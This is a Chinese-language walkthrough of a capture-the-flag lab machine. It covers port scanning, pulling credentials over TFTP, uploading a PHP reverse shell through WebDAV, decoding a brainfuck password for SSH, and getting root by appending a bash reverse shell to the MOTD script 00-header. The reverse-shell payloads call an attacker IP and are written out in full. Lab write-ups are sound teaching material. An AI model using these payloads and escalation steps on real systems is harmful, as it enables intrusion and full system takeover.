改靶机主要涉及知识点:webdav,tftp渗透,brainfuck语言认识,motd提权
常规端口扫描
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.144
nmap -sT -sV -sC -O -p22,80 10.10.10.144
nmap --script=vuln -p22,80 10.10.10.144
nmap -sU --top-ports 20 10.10.10.144(这边的udp端口扫描出来有个tftp挺感兴趣的,记住,可能后面有用)
靶机ip 10.10.10.144,开放端口22,80
web渗透
访问一下80端口,直接点开就是一大堆图片,查看网页源代码也没太多信息
四处点点看看,没什么东西,有一个/images目录,留意一下,说不定以后能在这个目录上传shell
尝试目录爆破
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144
发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。
另一个目录 server-status目录没有太多信息,接下来看看能不能找到webdav的凭据
使用-x参数添加一些后缀名,在爆破一下目录(vulnhub页面的提示,“枚举”是关键)
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144
curl http://10.10.10.144/tips.txt 访问一下
他说线索可以在creds.txt找到,访问一下,目录不存在
tftp渗透
现在我们是没有什么思路了,还记得之前udp端口扫描出来的tftp吗,尝试利用看看有没有什么让人感兴趣的
tftp 10.10.10.144
get creds.txt
成功下载了
解码一下
cat creds.txt | base64 -d
得到一个类似账号密码的yamdoot:Swarg ,很可能是最初webdav目录的访问凭据!
webdav利用
回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面
没什么东西,之前对webdav没什么了解,goole搜索一下
查到
kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg
可以看到上传的文件类型如下:
基本上都可以上传,再看一下执行权限:
可以执行php文件就很好,可以尝试上传php类型的反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>
利用dadaver上传文件
cadaver http://10.10.10.144/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php
回到游览器,可以看到我们上传的shell文件了
此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell
nc -lvnp 1234
寻找敏感文件初步提权
这边可以用
python3 -c "import pty;pty.spawn('/bin/bash')"
提升交互
常规提权命令枚举,基本没有什么感兴趣的
最终通过查找可写的文件发现了一些端倪:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password,里面是webdav的登录凭据,应该不是ssh的凭据
brainfuck
查看hell.sh
这文字很奇怪
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
网上查了一下这是一种名为brainfuck的编程语言
可以用beef工具进行解释
beef hell.bf
解出了一串字符:chitragupt
可能是ssh某个用户的密码
cat /etc/passwd看一下有哪些用户
发现重点就是narak,yamdoot,inferno
尝试了一下是inferno的,ssh连接用户
motd利用提权
现在是一个新用户了,我们还是常规提权枚举
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
查可写文件,重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限
MOTD(Message of the Day)是Linux系统登录时显示的一段信息
00-header,这是linux在登录时会运行的显示欢迎信息的脚本,属于root的
构建反弹shell代码到改文件
echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header
kali中监听nc -lvnp 4444
重新ssh登录inferno用户触发00-header脚本执行,从而触发反弹shell,又由于运行这个脚本时是具有root权限的(此处我有点疑惑),成功触发了反弹shell,且反弹的是root的shell,也就是提权成功了!